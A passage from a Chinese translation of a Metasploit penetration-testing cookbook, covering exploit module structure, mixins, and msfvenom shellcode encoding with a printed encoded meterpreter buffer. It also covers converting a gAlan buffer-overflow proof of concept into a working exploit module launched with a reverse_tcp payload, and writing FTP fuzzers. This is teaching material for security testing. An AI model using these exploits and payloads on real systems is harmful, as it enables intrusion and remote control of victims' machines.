首先来理解框架中漏洞利用代码的模块结构,其结构与辅助模块结构类似,但多了一些字段,用户可以在 /pentest/exploits/framework3 目录中找到漏洞利用模块,下面对 MSF中漏洞利用代码的结构进行分析。

怎样实现

上面提到的,漏洞利用代码模块的结构与辅助模块类似,同时又增加了一些特定内容。

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  include Msf::Exploit::EXE

漏洞利用代码模块首先在脚本中包含MSF核心库,并声明一个类,该类扩展了与该漏洞利用代码相关的一些属性。在上面的示例中,Metasploit3类扩展了Remote Exploit库,其实该脚本还包含其他一些库,例如TCP。

def initialize(info = {})

 super(update_info(info,

  'Name' => '',

 'Description')

initialize 函数用于对模块中不同的值和内容定义进行初始化,主要包括 Name、Description、Author、Version等内容。

register_options(

 [

  Opt::RPORT(7777),

  ], self.class)

end

该脚本中的一些注册选项用于为该脚本提供一些重要的和默认的值,这些值可以根据用户需要进行更改。目前为止,可以看到其结构与辅助模块非常类似,其差别在于下面要定义的exploit()函数。

def exploit

 connect()

 sock.put(payload.encoded)

 handler()

 disconnect()

end

上面这一函数是模块漏洞利用代码的主体部分,其中包含了适用于该漏洞利用代码的shellcode,该函数的内容依据漏洞利用代码的不同而变化。远程漏洞利用代码中通常可能包含的一些关键功能在该函数体中有所体现,例如connect()函数用于打开到目标的远程连接,这是一个在 Remote::TCP 库中定义的函数。攻击载荷也是漏洞利用代码主体的重要组成部分,用于建立目标机器到攻击者机器的反向连接。用户也可以根据实际需要在漏洞利用代码主体部分中定义不同的处理程序。

还可以声明一个漏洞测试函数 check(),该函数用于确定目标机器是否存在该漏洞,可以对除攻击载荷之外的所有选项进行验证。

上面是对Metasplot中漏洞利用代码模块的基本介绍,后面章节中会对与框架中漏洞利用代码相关的一些核心概念进行讨论。

怎样工作

上述分析的漏洞利用代码模块结构是Metasploit可以理解的格式。def initialize()函数主要帮助模块定义一些常用的漏洞利用代码选项。类似地,register_options()则被 Metasploit用于定义一些不同的参数,或为漏洞利用代码模块的一些参数赋予默认值。这也是模块化体系结构的优势所在。随着本章内容的推进,我们还会介绍到怎样将现有的漏洞利用代码转换为Metasploit模块。

Mixins是Ruby语言中应用广泛的一种机制,其作用是将一些功能放置到模块中,并使得Ruby这种单继承语言具备多继承的能力。在漏洞利用代码模块中使用mixins,有助于调用该漏洞利用代码所需的不同函数。在本节中,我们将学习一些重要的 Metasploit exploit mixins。

怎样实现

下面快速浏览一些常用的 exploit mixins,然后在现有的漏洞利用代码模块中了解其实现机理。

Exploit::Remote::TCP:该mixin为模块提供了TCP相关功能,可用于建立TCP连接。connect()函数与 disconnect()函数分别负责建立和终止连接,此外还需要一些不同的参数,例如RHOST、RPORT、SSL等。

Exploit::Remote::UDP:该 mixin 用于为模块提供 UDP 相关功能,UDP 通常被视为比TCP更快的连接模式,因此也是一个方便的选项,该mixin还进一步地包含了Rex::Socket::UDP,从而不必担心无法与目标建立socket连接的问题。

Exploit::Remote::DCERPC:该mixin提供了与远程机器上的DCE/RPC服务进行交互的工具和方法,其中方法通常适用在攻击渗透的语境中。该 mixin 还扩展了 TCP mixin。dcerpc_call()、dcerpc_bind()等函数是DCE/RPC mixin提供的。

Exploit::Remote::SMB:该mixin定义了有助于和远程目标主机SMB服务进行通信的函数,例如smb_login()、smb_create()等,都是该mixin提供的有用函数。

Exploit::BruteTargets:该mixin用于对目标机器进行暴力破解,使用exploit_target(target)函数接受目标主机IP并执行暴力破解,该mixin可以很容易地在不同的暴力破解代码中进行扩展和使用。

Exploit::Remote::Ftp:该mixin用于攻击渗透远程目标上的FTP服务,其中包含了用于与远程目标主机建立连接的Remote::TCP,并使用connect()函数与远程系统上的FTP服务器建立连接,该函数可接受的参数值是RHOST与RPORT。

Exploit::Remote::MSSQL:该mixin有助于查询远程数据库,其中Mssql_ping()函数用于查询数据库的可用性并将ping命令的返回信息保存为hash形式,Mssql_xpcmdshell()函数则使用 xp_cmdshell执行系统命令。在使用与MS SQL相关的漏洞利用代码时,该mixin是非常便利的。

Exploit::Capture:该mixin有助于截获网络中的数据包,其中open_pcap()函数用于建立网络设备并捕获流经该设备的数据包。该mixin需要安装pcap。inject(pkt="", pcap=self.capture)和inject_reply()是其中两个重要的函数,前者用于向网络设备中注入数据包,后者用于根据注入的数据包报告注入后产生的数据包。

上面展示了一些漏洞利用代码mixins,在Metasploit框架内使用漏洞利用代码模块时,这些mixins会带来很大便利,使用mixins可避免重复使用相同模块。促进代码重用,也正是模块式结构灵活的原因。

怎样工作

如前面所说,mixins用于在Ruby这种单继承语言中提供多继承机制,这里的含义是,可以根据实际需要在任意模块中调用不同的功能。例如,如果需要在漏洞利用代码模块中建立 TCP 连接,并不需要专门为其定义一个完整的函数,而是可以简单地在模块中调用Exploit::Remote::TCP这一mixin,就可以使用其中提供的各种功能。

更多

更多的mixins

除了前面提及的mixins之外,框架中还有很多重要的mixins,包括fileformat、imap、java、smtp、she等,可以在lib/msf/core/exploit目录中找到。

在第4章中,我们曾提及过msfencode和msfpayload。现在简单回顾一下,msfpayload用于从攻击载荷中生成二进制文件,msfencode 则用于使用不同编码技术对该二进制文件进行编码。现在要讨论的另一个 Metasploit 工具则结合了二者的功能,并在生成可隐蔽执行漏洞利用代码方面发挥重要作用。

准备

要使用msfvenom,首先启动终端提示符窗口,键入msfvenom –h 命令。

怎样实现

观察有哪些不同的可用选项。

root@bt:~# msfvenom -h

Usage: /opt/framework/msf3/msfvenom [options]

Options:

-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom..

-l, --list [module_type] List a module type example: payloads, encoders, nops, all

-n, --nopsled [length] Prepend a nopsled of [length] size on to the payload

-f, --format [format] Format to output results in: raw, ruby, rb, perl, pl, bash..

-e, --encoder [encoder] The encoder to use

-a, --arch [architecture] The architecture to use

-s, --space [length] The maximum size of the resulting Payload

-b, --bad-chars [list] The list of characters to avoid example: '\x00\xff'

-i, --iterations [count] The number of times to encode the payload

-c, --add-code [path] Specify an additional win32 shellcode file to include

-x, --template [path] Specify a custom executable file to use as a template

-k, --keep Preserve the template behavior and inject the payload as..

-h, --help Show this message

从结果可以看到,有很多重要的参数,其中,-n 参数用于创建和攻击载荷大小一样的NOP sled,-b参数用于防止漏洞利用代码中出现一些常用字符,例如\x00,在规避防病毒软件时,常会发生类似状况。其他参数与msfpayload和msfencode中看到的类似。

NOP slide, NOP sled或NOP ramp,是指空操作MOP指令序列,其作用是掩盖CPU的实际指令执行流程。

怎样工作

要使用msfvenom,需要将攻击载荷编码类型作为参数进行传递,下面在终端窗口中执行这一任务。

root@bt:~# msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai

-b '\x00' -i 3

[*] x86/shikata_ga_nai succeeded with size 325 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 352 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 379 (iteration=3)

buf =

"\xdb\xdb\xbe\x0a\x3a\xfc\x6d\xd9\x74\x24\xf4\x5a\x29\xc9" +

"\xb1\x52\x31\x72\x18\x83\xea\xfc\x03\x72\x1e\xd8\x09\xb6" +

"\xce\xc5\x86\x6d\x1a\xa8\xd8\x88\xa8\xbc\x51\x64\xe5\xf2" +

"\xd1\xb7\x80\xed\x66\x72\x6e\x0d\x1c\x68\x6a\xae\xcd\x0e" +

"\x33\x90\x1d\x73\x82\xd8\xd7\xe0\x87\x76\xbd\x25\xf4\x23" +

"\x4d\x38\xc2\xc3\xe9\xa1\x7e\x31\xc5\xe4\x84\x2a\x3b\x37" +

"\xb3\xd6\x13\xc4\x09\x89\xd0\x95\x21\x10\x6b\x83\x94\x3d" +

要注意与攻击载荷一起传递的参数,-b参数防止\x00(空字节)在shellcode中出现,我们可以在自己的漏洞利用代码中使用该shellcode。

使用框架中的不同攻击载荷生成 shellcode 时,msfvenom 是非常方便的工具,而这些shellcode则可用于漏洞利用代码中,并在攻击者成功攻陷目标机器后提供反向连接等功能。

在前面的内容中已介绍了如何使用漏洞利用代码模块来攻陷目标机器。在本节中,我们将进一步拓展模块使用体验,尝试使用可用的概念验证代码开发完整的漏洞利用代码模块。为了将任意新的漏洞利用代码转换为框架中的模块,并在Metasploit团队进行更新之前使用其进行渗透测试,必须掌握将漏洞利用代码转换为模块的相关知识。并且,每个漏洞利用代码都以框架中模块形式存在也是不可能的,所以,下面学习怎样使用可用的POC来构建自己的漏洞利用代码模块。

准备

首先,选择可以转换为模块的任意漏洞利用代码,这里选的是 gAlan Zero day漏洞利用代码,可以从http://www.exploit-db.com/exploits/10339处下载。

gAlan是一款用于 X Windows 和Win32的音频处理工具(在线和离线方式都支持),用户可利用该工具以模块化的形式构建合成器、声效链、混音器、序列器、drum-machines等,而这些操作只需要将代表音频处理元件的图标进行链接等操作即可完成。

只有当目标机器使用这一应用程序并且攻击者预先已知道时,针对 gAlan 的漏洞利用代码才能发挥作用,因此,攻击者需要预先知道目标机器上安装了哪些应用程序。

怎样实现

在开始漏洞利用代码转换之前,有必要了解关于栈溢出攻击的一些知识。

在软件中,调用栈时如果使用了过大的内存可能会发生栈溢出,这里调用栈是指应用软件的运行时栈,其中包含了有限大小的内存,通常是在程序启动时就已经确定的。调用栈的大小取决于很多因素,包括程序设计语言、机器体系结构、多线程及可用内存总量等。当程序试图使用的内存空间大于调用栈中实际可用的内存空间时,就会发生栈溢出,一般情况下会导致程序崩溃。在漏洞利用过程中,实质上最常被攻击的寄存器是ESP、EIP和EAX。

● ESP:指向栈顶。

● EIP:指向下一指令地址。

● EAX:要被执行的指令。

由于在栈内所有寄存器都是线性存储的,所以需要知道 EIP 寄存器的确切大小,以便对其进行溢出后可以控制EAX,并执行攻击载荷。

拥有某个漏洞的概念验证代码之后,下一步收集该漏洞尽可能多的信息。观察下面漏洞的概念验证代码,前面少数几行由存储在$shellcode 变量中的 shellcode 组成,可利用msfpayload或msfvenom工具,使用框架中任何可用的攻击载荷生成。

$magic = "Mjik";

$addr = 0x7E429353; # JMP ESP @ user32,dll

$filename = "bof.galan";

$retaddr = pack('l', $addr);

$payload = $magic . $retaddr x 258 . "\x90" x 256 . $shellcode;

漏洞利用代码的主体部分首先包括$magic,其中包含一个四字节的字符串;然后是$addr变量,其中包含ESP栈指针的位置;之后的$filename变量包含了后渗透阶段将要创建的文件名称;$retaddr包含了返回地址,栈指针指向这一地址,并导致溢出发生后漏洞利用代码的执行;最后是攻击载荷执行语句,负责漏洞利用和shellcode的执行。

从漏洞利用代码可知,此处的shellcode最大可达700字节,攻击载荷的总长度是1214字节,在构建模块时会用到这些信息。

我们可以使用重复的返回地址,也可以根据 EIP 被重写时的大小来确定返回地址。Metasploit中包含一个有用的pattern_create.rb工具,可以辅助发现EIP被重写时的确切地址,该工具可生成特定模式的字符串,并传递给漏洞利用代码,可以发现该字符串存储于 EIP中。下面使用该工具创建一个5000字符的字符串。

root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb

Usage: pattern_create.rb length [set a] [set b] [set c]

root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000

编辑漏洞利用代码脚本,使用另一个测试变量$junk替代$payload,并将刚生成的5000字符的字符串复制到该变量中。这里假设读者具备逆向工程和应用程序调试的基础知识。假设存储在 EIP 中的字符串模式为“234abc”,现在使用另一个名为 pattern_offset.rb 的Metasploit工具计算其在字符串中出现的位置。

position where this pattern exists in the string we passed:

root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x234abc

5000

1032

因此,为获取EIP准确位置,必须要传递的字节数是1032。

现在,我们已经收集到了关于漏洞利用代码的充分信息,做好了将其转换为Metasploit模块的准备。

怎样工作

下面开始构建自己的模块,脚本中的第一行代码表示导入依赖库,并创建父类,然后定义initialize()函数,其中包含该漏洞利用代码和注册选项等信息。

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})

  super(update_info(info,

    'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',

    'Description' => %q{

   This module exploits a stack overflow in gAlan 0.2.1

    By creating a specially crafted galan file, an attacker may be able

    to execute arbitrary code.

  },

    'License' => MSF_LICENSE,

    'Author' => [ 'original by Jeremy Brown' ],

    'Version' => '$Revision: 7724 $',

    'References' =>

    [

      [ 'URL', 'http://www.exploit- db.com/exploits/10339' ],

    ],

    'DefaultOptions' =>

    {

      'EXITFUNC' => 'process',

    },

    'Payload' =>

    {

      'Space' => 1000,

      'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",

      'StackAdjustment' => -3500,

    },

    'Platform' => 'win',

    'Targets' =>

    [

    [ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], # 0x100175D0 call esi @ glib-1_3

    ],

    'Privileged' => false,

    'DefaultTarget' => 0))

   register_options(

    [

      OptString.new('FILENAME', [ false, 'The file name.', 'evil.galan']),

     ], self.class)

   end

目前的代码都很简单,比较复杂的代码是从exploit()函数开始的,下面介绍其实现的过程。

首先从原始漏洞利用脚本的头 4个字节开始,即$magic = "Mjik"。

在本模块中,该代码被 sploit = "Mjik"替代。

然后构建缓冲区,由于前面已经确定了 EIP 被重写的位置,因此可以使用如下语句替换重复的返回地址。

sploit << rand_text_alpha_upper(1028);

sploit << [target.ret].pack('V');

添加 nop slide,该漏洞利用脚本中对应部分在本模块中更改为如下形式。

sploit << "\x90" * 45

接下来构建完整的shellcode。

sploit << payload.encoded

最后,将这些行脚本代码整合到exploit()函数中。

def exploit

  sploit = "Mjik"

  sploit << rand_text_alpha_upper(1028)

  sploit << [target.ret].pack('V')

  sploit << "\x90" * 45

  sploit << payload.encoded

  galan = sploit

print_status("Creating '#{datastore['FILENAME']}' file ...")

 file_create(galan)

end

上面是将现有漏洞利用代码转换为Metasploit模块的一个简单的示例,这一过程的难度主要依赖于漏洞利用代码本身。关于模块转换,最好的学习途径是利用Metasploit库中的可用漏洞利用代码模块,下一节将学习怎样将漏洞利用代码模块移植到Metasploit框架以便进行渗透测试。

在上节中学习了怎样使用可用的概念验证代码开发完整的Metasploit模块,本节中将把该模块保存到合适的位置,并测试其是否正常运转。

准备

了解漏洞利用代码模块要存储的文件夹位置是非常重要的,有助于追踪不同模块所在位置,同时也有助于Metasploit框架理解模块的基本用法。完整的模块脚本构建完成之后,在合适的位置将其保存。

怎样实现

由于上面开发的是漏洞利用代码模块,针对的目标是Windows操作系统,影响的是特定的文件格式,因此可以根据这些信息相应地选择存储位置。查看modules/ exploits/windows目录,可以发现特定的fileformat文件夹,该文件夹用于存储文件格式相关的漏洞利用代码模块,将上面的模块保存为galan_fileformat_bof.rb。

怎样工作

接下来检查该模块功能是否正常,前面我们已经使用过大量的模块,因此这一任务很简单,采用如下步骤。

msf > use exploit/windows/fileformat/galan_fileformat_bof

msf exploit(galan_fileformat_bof) > set PAYLOAD windows/meterpreter/

reverse_tcp

msf exploit(galan_fileformat_bof) > set LHOST 192.168.56.101

msf exploit(galan_fileformat_bof) > exploit

使用exploit命令执行该模块,并创建一个可在目标机器上引发缓冲区溢出的文件。

这样就完成了模块的创建和执行过程,可以看到该过程很简洁,其中较困难的是漏洞利用脚本到 Metasploit 框架模块的正确转换。用户可以根据需要对现有模块进行调试或修改,也可以向Metasploit社区提交新创建的模块以便与他人分享。

模糊测试是一种软件测试技术,包括使用随机的数据注入检测软件中的漏洞。模糊测试脚本生成畸形数据时,将其传送给特定的目标软件以验证其是否会导致溢出。Metasploit提供中包含某些模糊测试模块,可用于漏洞利用代码开发。下面探索一下模糊测试的基础,以及怎样将Metasploit模块用作潜在的模糊测试器。

准备

在介绍Metasploit模糊测试模块之前,首先对模糊测试及其类型进行简单的了解。

模糊测试被视为是一种黑盒测试技术,用于发现软件中的溢出问题,这一技术广泛地应用于应用程序漏洞挖掘。

模糊测试器可用于测试软件、协议和文件格式中的漏洞,可自动化实现测试数据生成和注入的过程,用户可控制用于注入的数据或数据包的大小。

模糊测试器一般测试如下攻击组合。

● 数字(有符号/无符号证书、浮点数等)

● 字符(URL和命令行输入)

● 元数据:用户输入的文本(id3标签)

● 纯粹的二进制序列

根据待测试的应用程序或协议的类型,可以相应地建立模糊测试器,以生成数据/数据包测试其是否导致溢出。Metasploit中包含了一些模糊测试模块,可以利用黑盒测试方法测试应用程序和协议。这些模块存储在modules/auxiliary/fuzzers目录中。

怎样实现

下面运行一个基于协议的模糊器模块,Metasploit 中包含一个名为 client_ftp.rb 的 FTP模块,其作用是充当FTP服务器,并向FTP客户端发送回应信息。

msf > use auxiliary/fuzzers/ftp/client_ftp

msf auxiliary(client_ftp) > show options

Module options:

Name Current Setting Required Description

---- --------------- -------------------

CYCLIC true yes Use Cyclic pattern instead..

ENDSIZE 200000 yes Max Fuzzing string size.

ERROR false yes Reply with error codes only

EXTRALINE true yes Add extra CRLF's in..

FUZZCMDS LIST.. yes Comma separated list..

RESET true yes Reset fuzzing values after..

SRVHOST 0.0.0.0 yes The local host to listen on.

SRVPORT 21 yes The local port to listen on.

SSL false no Negotiate SSL for incoming..

SSLVersion SSL3 no Specify the version of SSL..

STARTSIZE 1000 yes Fuzzing string startsize.

STEPSIZE 1000 yes Increment fuzzing string..

从结果可以看到该模块包含很多有用的参数,下面看一下每个参数代表的功能。

● CYCLIC选项用于建立模糊测试数据的循环模式,确保每隔 4个字节的偏移量。如果该选项设置为false,则模糊器将使用字母A组成的字符串作为模糊测试数据。

● ENDSIZE选项用于定义返回给 FTP客户端的模糊测试数据的最大长度。默认情况下,该数值设置为20000字节。

● ERROR选项如果被设置为 true,将使用错误代码对FTP客户端进行响应。

● EXTRALINE选项用于模糊测试目录列表。在收到过多的目录名请求时,有些FTP客户端会崩溃。

● FUZZCMDS选项用于定义对哪些响应信息进行模糊测试,可能的请求包括LIST、NLST、LS和RETR,也可以将其设置为*,以便对所有命令进行模糊测试。

● SRVHOST选项用于指定模糊测试器将使用哪个 IP地址与 FTP服务器进行绑定。对于本地机器,这个值可以设置为0.0.0.0。

● SRVPORT选项用于定义FTP服务器端口,默认值为 21。

● STARTSIZE选项用于定义模糊测试数据的初始化数据长度。

● STEPSIZE选项用于定义溢出失败时,模糊测试数据每次的增量。

在使用模糊测试器时,需要注意如果没有传递正确的参数值,可能会导致模糊测试失败。要对模糊器有更深入的理解,可以查看模块的源代码。下面运行FTP客户端模糊测试器,并查看其返回结果。

msf auxiliary(client_ftp) > run

[*] Server started.

[*] Client connected : 192.168.56.102

[*] - Set up active data port 20

[*] Sending response for 'WELCOME' command, arg

[*] Sending response for 'USER' command, arg test

[*] Sending response for 'PASS' command, arg test

[*] - Set up active data port 16011

[*] Sending response for 'PORT' command, arg 192,168,0,188,62,139

[*] Handling NLST command

[*] - Establishing active data connection

[*] - Data connection set up

[*] * Fuzzing response for LIST, payload length 1000

[*] (i) Setting next payload size to 2000

[*] - Sending directory list via data connection

输出信息中有几点需要特别注意,首先,FTP服务器在攻击机器上启动,之后回连FTP客户端,并向客户端机器发送不同的响应命令。模糊测试过程从 NLST 命令开始,之后是LIST等命令。

上面是模糊测试模块工作方式的一个小示例,下节中我们将构建自己的模糊测试模块,并对协议模糊测试进行深入理解。

怎样工作

模糊测试器会根据目标应用程序创建不同的测试用例,在上面的示例中,FTP 服务器的模糊测试是通过发送随机数据包之后对响应消息进行分析实现的,数据包可以对网络流量中的如下属性进行模糊测试。

● 数据包头:模糊测试器可以将任意长度和取值的随机数据插入到数据包头部,并对响应消息进行分析。

● 数据校验和:使用模糊测试器可以在特定的条件下对校验和值进行操纵。

● 数据包大小:可以将任意长度的数据包发送给网络应用程序以判断是否会引发崩溃。发生溢出或崩溃后,模糊测试器可以返回测试用例当做溢出数据使用。

前面已分析过模糊测试模块的工作过程,本节中将进一步构建自己的小型FTP模糊测试器,用于对FileZilla FTP服务器进行模糊测试。

怎样实现

构建模糊测试器的基本模板与前面开发辅助模块所用的模板类似,基本模板应具有如下的形式。

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Auxiliary::Scanner

  def initialize

  super(

   'Name' => 'FileZilla Fuzzer',

   'Version' => '$Revision: 1 $',

   'Description' => 'Filezilla FTP fuzzer',

   'Author' => 'Abhinav_singh',

   'License' => MSF_LICENSE

  )

   register_options( [

  Opt::RPORT(14147),

  OptInt.new('STEPSIZE', [ false, "Increase string size each iteration with this number of chars",10]),

  OptInt.new('DELAY', [ false, "Delay between connections",0.5]),

  OptInt.new('STARTSIZE', [ false, "Fuzzing string startsize",10]),

  OptInt.new('ENDSIZE', [ false, "Fuzzing string endsize",20000])

  ], self.class)

end

前面的代码表示导入MSF库,创建一个类,并定义其中的一些选项,下一步定义模糊测试器的主体部分。

def run_host(ip)

  udp_sock = Rex::Socket::Udp.create(

   'Context' =>

   {

    'Msf' => framework,

     'MsfExploit' => self,

   }

 )

startsize = datastore['STARTSIZE'] # fuzz data size to begin with

  count = datastore['STEPSIZE'] # Set count increment

  while count < 10000 # While the count is under 10000 run

  evil = "A" * count # Set a number of "A"s equal to count

  pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\ x00" # Define the payload

  udp_sock.sendto(pkt, ip, datastore['RPORT'])

  # Send the packet

  print_status("Sending: #{evil}")

  resp = udp_sock.get(1) # Capture the response

  count += 100 # Increase count by 10, and loop

end

end

end

下面分析该脚本,该脚本首先创建UDP socket,这在建立到 FileZilla服务器的连接时会用到。然后声明变量startsize与count,分别定义了模糊测试器的起始数据大小和增量长度值,之后建立循环,并在其中声明恶意字符串和攻击载荷格式,这些内容将作为数据包(pkt)的组成部分发送到目标程序。

最后,该脚本使用udp_sock_sendto函数将服务器发送数据包,并使用resp=udp_sock.get()函数捕获服务器的响应信息。每次收到响应信息后,数据包长度值增加100。

怎样工作

要使用该模块,首先要将其存储到modules/auxiliary/fuzzers/ftp目录,将该模块命名为filezilla_fuzzer.rb。

msf > use auxiliary/fuzzers/ftp/filezilla_fuzzer

msf auxiliary(filezilla_fuzzer) > show options

Module options (auxiliary/fuzzers/ftp/filezilla_fuzzer):

Name Current Setting Required Description

---- --------------- -------- -----------

DELAY 0.5 no Delay between..

ENDSIZE 20000 no Fuzzing string endsize

RHOSTS yes The target address

RPORT 14147 yes The target port

STARTSIZE 10 no Fuzzing string startsize

STEPSIZE 10 no Increase string size..

从结果可以看到,该模块工作良好,并展示了一些可用的选项。对相应选项进行赋值,并使用run命令运行。

msf auxiliary(filezilla_fuzzer) > set RHOSTS 192.168.56.1

RHOSTS => 192.168.56.1

msf auxiliary(filezilla_fuzzer) > run

[*] Sending: AAAAAAAAAA

[*] Sending: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

上述内容表明该模糊测试器向服务器发送字符串,并一直重复这一发送过程,直至服务器崩溃或该循环结束。如果在服务器崩溃之前循环结束,可以尝试修改脚本来发送更长的字符串。上面简要展示了使用 Metasploit 对软件进行模糊测试的过程,通常不建议使用Metasploit对大型软件进行模糊测试。对软件和应用程序的模糊测试而言,还可以使用一些更专业化的框架。

更多

快速浏览下面的模糊测试框架,如果读者想要提高模糊测试和漏洞利用代码开发方面的知识能力,可以使用该框架。

Antiparser模糊测试框架

Antiparser是使用python语言编写的一个模糊测试框架,用于构建模糊测试器的随机数据的创建过程。该框架可用于开发跨平台运行的模糊测试器,因为该框架唯一的要求就是必须安装Python解释器。

Antiparser可以在http://sourceforge.net/projects/antiparser/处下载。

图书在版编目(CIP)数据

Metasploit渗透测试手册/(印)辛格(Singh,A.)著;王一译.--北京:人民邮电出版社,2013.9

ISBN 978-7-115-32383-5

Ⅰ.①M… Ⅱ.①辛…②王… Ⅲ.①计算机网络—安全技术—应用软件—手册 Ⅳ.①TP393.08-62

中国版本图书馆CIP数据核字(2013)第135566号

版权声明

Copyright © Packt Publishing 2012. First published in the English language under the title Advanced Penetration Testing for Highly-Secured Environments: The Ultimate Security Guide.

All Rights Reserved.

本书由英国Packt Publishing公司授权人民邮电出版社出版。未经出版者书面许可,对本书的任何部分不得以任何方式或任何手段复制和传播。

版权所有,侵权必究。

◆著 [印度]Abhinav Singh

译 王一

责任编辑 傅道坤

责任印制 程彦红 杨林杰

◆人民邮电出版社出版发行  北京市崇文区夕照寺街14号

邮编 100061  电子邮件 315@ptpress.com.cn

网址 http://www.ptpress.com.cn

北京艺辉印刷有限公司印刷

◆开本:800×1000 1/16

印张:15

字数:305千字  2013年9月第1版

印数:1-3000册  2013年9月北京第1次印刷

著作权合同登记号 图字:01-2012-7222号

定价:49.00元

读者服务热线:(010)67132692 印装质量热线:(010)67129223

反盗版热线:(010)67171154

相关图书

CTF快速上手:PicoCTF真题解析(Web篇)
CTF快速上手:PicoCTF真题解析(Web篇)
数字银行安全体系构建
数字银行安全体系构建
软件开发安全之道概念、设计与实施
软件开发安全之道概念、设计与实施
企业信息安全体系建设之道
企业信息安全体系建设之道
内网渗透技术
内网渗透技术
深入浅出密码学
深入浅出密码学

相关文章

相关课程